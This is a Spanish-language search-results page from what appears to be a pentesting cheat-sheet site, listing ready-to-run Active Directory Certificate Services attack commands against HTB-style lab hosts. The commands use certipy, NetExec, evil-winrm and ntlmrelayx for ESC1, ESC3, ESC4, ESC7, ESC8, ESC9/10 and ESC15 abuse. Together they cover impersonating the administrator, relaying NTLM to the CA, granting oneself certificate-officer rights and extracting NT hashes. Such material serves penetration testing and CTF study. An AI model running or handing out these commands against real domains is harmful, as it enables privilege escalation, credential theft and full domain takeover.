Buscar en todo

Comandos 13

• Con un certificado (por ejemplo, de ADCS) Evil-WinRM › Formas de autenticarse evil-winrm -i 10.10.11.20 -S -c certificado.crt -k clave.key
• Plantillas de certificados vulnerables (ADCS) Escalada en Windows y Active Directory › Active Directory › Con credenciales certipy-ad find -u '[email protected]' -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
• Enumerar la CA con NetExec Active Directory a fondo › ADCS (ESC1–16) › Buscar plantillas vulnerables nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcs
• Hacerla vulnerable y restaurarla Active Directory a fondo › ADCS (ESC1–16) › ESC4 — control sobre la plantilla certipy template -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -template VulnTemplate -write-default-configuration
• Barrido con Certipy (dice el ESC) Active Directory a fondo › ADCS (ESC1–16) › Buscar plantillas vulnerables certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
• Pedir el certificado con otro SAN Active Directory a fondo › ADCS (ESC1–16) › ESC1 — SAN arbitrario (suplantar a cualquiera) certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template VulnTemplate -upn [email protected]
• Autenticarse con el cert y sacar el hash NT Active Directory a fondo › ADCS (ESC1–16) › ESC1 — SAN arbitrario (suplantar a cualquiera) certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20
• Relay a la CA (ESC8) para un cert del equipo Active Directory a fondo › NTLM relay › Montar el relay impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
• Relayear a la CA y obtener un cert del equipo Active Directory a fondo › ADCS (ESC1–16) › ESC8 — relay HTTP a la interfaz web de la CA certipy relay -target 'http://ca.box.htb/certsrv/certfnsh.asp' -template DomainController
• ESC3: pedir un cert de agente y, con él, uno a nombre de otro Active Directory a fondo › ADCS (ESC1–16) › ESC2/ESC3 — Any Purpose y Enrollment Agent certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template EnrollmentAgent certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template User -on-behalf-of 'box.htb\administrator' -pfx agent.pfx
• ESC15: aplicación-política con EKU de autenticación de cliente Active Directory a fondo › ADCS (ESC1–16) › ESC13/ESC14/ESC15/ESC16 certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template WebServer -application-policies 'Client Authentication'
• Cambiar el UPN de un usuario que controlas y pedir el cert como él Active Directory a fondo › ADCS (ESC1–16) › ESC9/ESC10 — sin mapeo fuerte de certificados certipy account update -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -user victima -upn [email protected]
• ESC7: darte el permiso Manage Certificates y aprobar tu propia solicitud Active Directory a fondo › ADCS (ESC1–16) › ESC6/ESC7 — CA y control sobre la CA certipy ca -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -add-officer usuario